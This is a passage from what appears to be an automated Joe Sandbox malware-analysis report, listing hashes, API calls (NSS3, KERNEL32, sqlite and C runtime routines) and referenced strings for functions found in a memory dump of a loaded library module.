Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nrl
API String ID: 1003633598-1713465473
Opcode ID: d51eff88dcea62c849aa6e90317ae63ecf74e38c2018ee1f29bcca01e24c0805
Instruction ID: 79107d1aec84b2874c2d35f224e44a15cab3e3c02cf388e4c94e50072255e614
Opcode Fuzzy Hash: d51eff88dcea62c849aa6e90317ae63ecf74e38c2018ee1f29bcca01e24c0805
Instruction Fuzzy Hash: 6921C131701128DBDB019B559E8DB9A3BB5EB47318F04C035E90997A12DF349908CBBA

Function 6C65ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C65DE64), ref: 6C65ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65ED22

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

PL_FreeArenaPool.NSS3(?), ref: 6C65ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C65ED6B
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C65ED38

Part of subcall function 6C594C70: TlsGetValue.KERNEL32(?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594C97
Part of subcall function 6C594C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CB0
Part of subcall function 6C594C70: PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C65ED52
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C65ED83
PL_FreeArenaPool.NSS3(?), ref: 6C65ED95
PL_FinishArenaPool.NSS3(?), ref: 6C65ED9D

Part of subcall function 6C6764F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C67127C,00000000,00000000,00000000), ref: 6C67650E

Strings

security, xrefs: 6C65ED06

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 7e6b58817734f12287b6368c2835c8259c25df87f822d672beb38bbb63f3ed8d
Instruction ID: f84e13f10f50ad9ffaf66c6c8ef157c686d31b0b9ea040bae706e4dbbb2cfb8e
Opcode Fuzzy Hash: 7e6b58817734f12287b6368c2835c8259c25df87f822d672beb38bbb63f3ed8d
Instruction Fuzzy Hash: 41112B75900218ABDE205625AC44FFB73B8AF4270CF554A35E86462E41F728A62CC6FE

Function 6C720EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C602357), ref: 6C720EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C602357), ref: 6C720EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C720EE6

Part of subcall function 6C7209D0: PR_Now.NSS3 ref: 6C720A22
Part of subcall function 6C7209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C720A35
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C720A66
Part of subcall function 6C7209D0: PR_GetCurrentThread.NSS3 ref: 6C720A70
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C720A9D
Part of subcall function 6C7209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C720AC8
Part of subcall function 6C7209D0: PR_vsmprintf.NSS3(?,?), ref: 6C720AE8
Part of subcall function 6C7209D0: EnterCriticalSection.KERNEL32(?), ref: 6C720B19
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720B48
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720C76
Part of subcall function 6C7209D0: PR_LogFlush.NSS3 ref: 6C720C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C720EFA

Part of subcall function 6C60AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C60AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C720ED9, 6C720EE5, 6C720F06, 6C720F0B
Aborting, xrefs: 6C720EB3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 7140e87e1a671b3d10fbe62b1567b115037fe1cc7816d20dff3bbc3a84b77827
Instruction ID: 0363484e0603af1e83fd3dc73e80508d40b99078bab4b51649526e1da542bd89
Opcode Fuzzy Hash: 7140e87e1a671b3d10fbe62b1567b115037fe1cc7816d20dff3bbc3a84b77827
Instruction Fuzzy Hash: 90F0AFB5A002147BDF007BA1DD4ECAB3E2DDF82365F044034FD0956602EB36ED249AB2

Function 6C684DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C684DCB

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C684DE1

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C684DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C684E59

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C74300C,00000000), ref: 6C684EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C684EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C684F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C68521A

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: a4402cf205d740eca05c6ee2f6239ed58320c4d950f5fe0766e066b92469392c
Instruction ID: 6b25dc4a3d24620a747b532d5ea00d759d2d84d6f241e62b713a6303a7e59a95
Opcode Fuzzy Hash: a4402cf205d740eca05c6ee2f6239ed58320c4d950f5fe0766e066b92469392c
Instruction Fuzzy Hash: 02F1BF71E02209CBEB04CF54D8507ADB7B2FF85358F258129D915AB780EB75E981CFA4

Function 6C614FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C760148,?,6C626FEC), ref: 6C61502A
PR_NewLock.NSS3(00000001,00000000,6C760148,?,6C626FEC), ref: 6C615034
PL_NewHashTable.NSS3(00000000,6C66FE80,6C66FD30,6C6BC350,00000000,00000000,00000001,00000000,6C760148,?,6C626FEC), ref: 6C615055
PL_NewHashTable.NSS3(00000000,6C66FE80,6C66FD30,6C6BC350,00000000,00000000,?,00000001,00000000,6C760148,?,6C626FEC), ref: 6C61506D

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: dc6ff7b1710bb858d859ac040a1cccc370f4dd5425c90659e0b88da8b06363b1
Instruction ID: 8c72e62b2d6f84c6a4da3d287dcb32c72fd38aa7ad2741cb133ad98959589019
Opcode Fuzzy Hash: dc6ff7b1710bb858d859ac040a1cccc370f4dd5425c90659e0b88da8b06363b1
Instruction Fuzzy Hash: EB31C471A06224DBEE229A698C4CB577778FB5379EF214135EA2583E40D3749804CBF5

Function 6C5B2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5B2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5B3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5B3178

Strings

%s at line %d of [%.10s], xrefs: 6C5B3171
database corruption, xrefs: 6C5B316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B3022, 6C5B3156, 6C5B3162, 6C5B318A, 6C5B3196, 6C5B31A2, 6C5B31AE, 6C5B31BA, 6C5B31C6

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 69ef348a7d6d7e33856e06ba4a70f995108abb8530c97d30eb2f105be6045692
Instruction ID: 1f0ca8652e4f7d00663040ddc92f482ecc6a2a340b71be4c364ab5a8a7c8fa39
Opcode Fuzzy Hash: 69ef348a7d6d7e33856e06ba4a70f995108abb8530c97d30eb2f105be6045692
Instruction Fuzzy Hash: F0B19170E05219DBCB08CF9DCC95AEEBBB6BF48304F148429E849B7B45DB749941CBA0

Function 6C602D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C602D69

Strings

winTruncate1, xrefs: 6C602EBE
@rl, xrefs: 6C602E24
winUnmapfile1, xrefs: 6C602F55
rl, xrefs: 6C602DD0
winTruncate2, xrefs: 6C602EF8
winUnmapfile2, xrefs: 6C602F7F
Prl, xrefs: 6C602E74, 6C602EC5, 6C602F32, 6C602F5C
winSeekFile, xrefs: 6C602E9C

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: __allrem
String ID: @rl$Prl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$rl
API String ID: 2933888876-1317674207
Opcode ID: 92c0cc29e51ce0f81a6ebd16b2018e82c0797c8a1dd1bb5fd9a218530ecd1cf3
Instruction ID: 4e9e73638865da297f27d06ddde55cef44e9ca4c333e60e6c7c6c86ca76969b2
Opcode Fuzzy Hash: 92c0cc29e51ce0f81a6ebd16b2018e82c0797c8a1dd1bb5fd9a218530ecd1cf3
Instruction Fuzzy Hash: 3061A371B403099FDB08CF68DD98AAA77B1FF49354F108139E915AB790DB31AD06CB94

Function 6C687F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C687FB2

Part of subcall function 6C60BA40: TlsGetValue.KERNEL32 ref: 6C60BA51
Part of subcall function 6C60BA40: TlsGetValue.KERNEL32 ref: 6C60BA6B
Part of subcall function 6C60BA40: EnterCriticalSection.KERNEL32 ref: 6C60BA83
Part of subcall function 6C60BA40: TlsGetValue.KERNEL32 ref: 6C60BAA1
Part of subcall function 6C60BA40: _PR_MD_UNLOCK.NSS3 ref: 6C60BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C687FD4

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

Part of subcall function 6C689430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C689466

PR_ExitMonitor.NSS3(?), ref: 6C68801B
PR_EnterMonitor.NSS3(?), ref: 6C688034
TlsGetValue.KERNEL32 ref: 6C6880A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6880C0
PR_ExitMonitor.NSS3(?), ref: 6C68811C
PR_ExitMonitor.NSS3(?), ref: 6C688134

Strings

), xrefs: 6C6880DB

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 66f228dc429f3b3fd2a7d1ad1698b0f042df3b74d8559a03d764b1a2c186cd75
Instruction ID: cb74f96d8c0ca8b5869cf1709437a274508a6f5a8174dba8ad35b279651ed26a
Opcode Fuzzy Hash: 66f228dc429f3b3fd2a7d1ad1698b0f042df3b74d8559a03d764b1a2c186cd75
Instruction Fuzzy Hash: B0516B75A027059BE7219F35DC017EB77B0AF4A30CF08052DDD9952A62EB31A908C7BE

Function 6C62FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C62FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C62FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C62FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C62FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C62FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C62FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C62FD84

Strings

:, xrefs: 6C62FD78

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 6329123f209d4e90044a808983674d3e824e90cafde7b4e653a091e7af7a38a8
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 3231E2B29002255BEB008AB4DC097AF77E8EF41718F150925DC14A7B01E77AE908CBEB

Function 6C610F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C610F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C610F84

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C62F59B,6C73890C,?), ref: 6C610FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C610FC1

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C610FDB
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C610FEF
PL_FreeArenaPool.NSS3(?), ref: 6C611001
PL_FinishArenaPool.NSS3(?), ref: 6C611009

Strings

security, xrefs: 6C610F5C

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 217924bc3cc3b943d95a568073153df0856977378938a94ff6325f64ee4695c8
Instruction ID: 5f8317152c6da3ffa21ad51a1be2770dd00ae72887a4a76d38b7a034763c3e24
Opcode Fuzzy Hash: 217924bc3cc3b943d95a568073153df0856977378938a94ff6325f64ee4695c8
Instruction Fuzzy Hash: 3E2156B1904204ABEB109F29DC41EAB77B4EF8535CF008428FC5887A01F731DA15CBEA

Function 6C616DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C617D8F,6C617D8F,?,?), ref: 6C616DC8

Part of subcall function 6C66FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C66FE08
Part of subcall function 6C66FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C66FE1D
Part of subcall function 6C66FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C66FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C617D8F,?,?), ref: 6C616DD5

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C738FA0,00000000,?,?,?,?,6C617D8F,?,?), ref: 6C616DF7

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C616E35

Part of subcall function 6C66FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C66FE29
Part of subcall function 6C66FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C66FE3D
Part of subcall function 6C66FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C66FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C616E4C

Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C738FE0,00000000), ref: 6C616E82

Part of subcall function 6C616AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C61B21D,00000000,00000000,6C61B219,?,6C616BFB,00000000,?,00000000,00000000,?,?,?,6C61B21D), ref: 6C616B01
Part of subcall function 6C616AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C616B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C616F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C616F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C738FE0,00000000), ref: 6C616F6B
PR_SetError.NSS3(FFFFE005,00000000,6C617D8F,?,?), ref: 6C616FE1

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

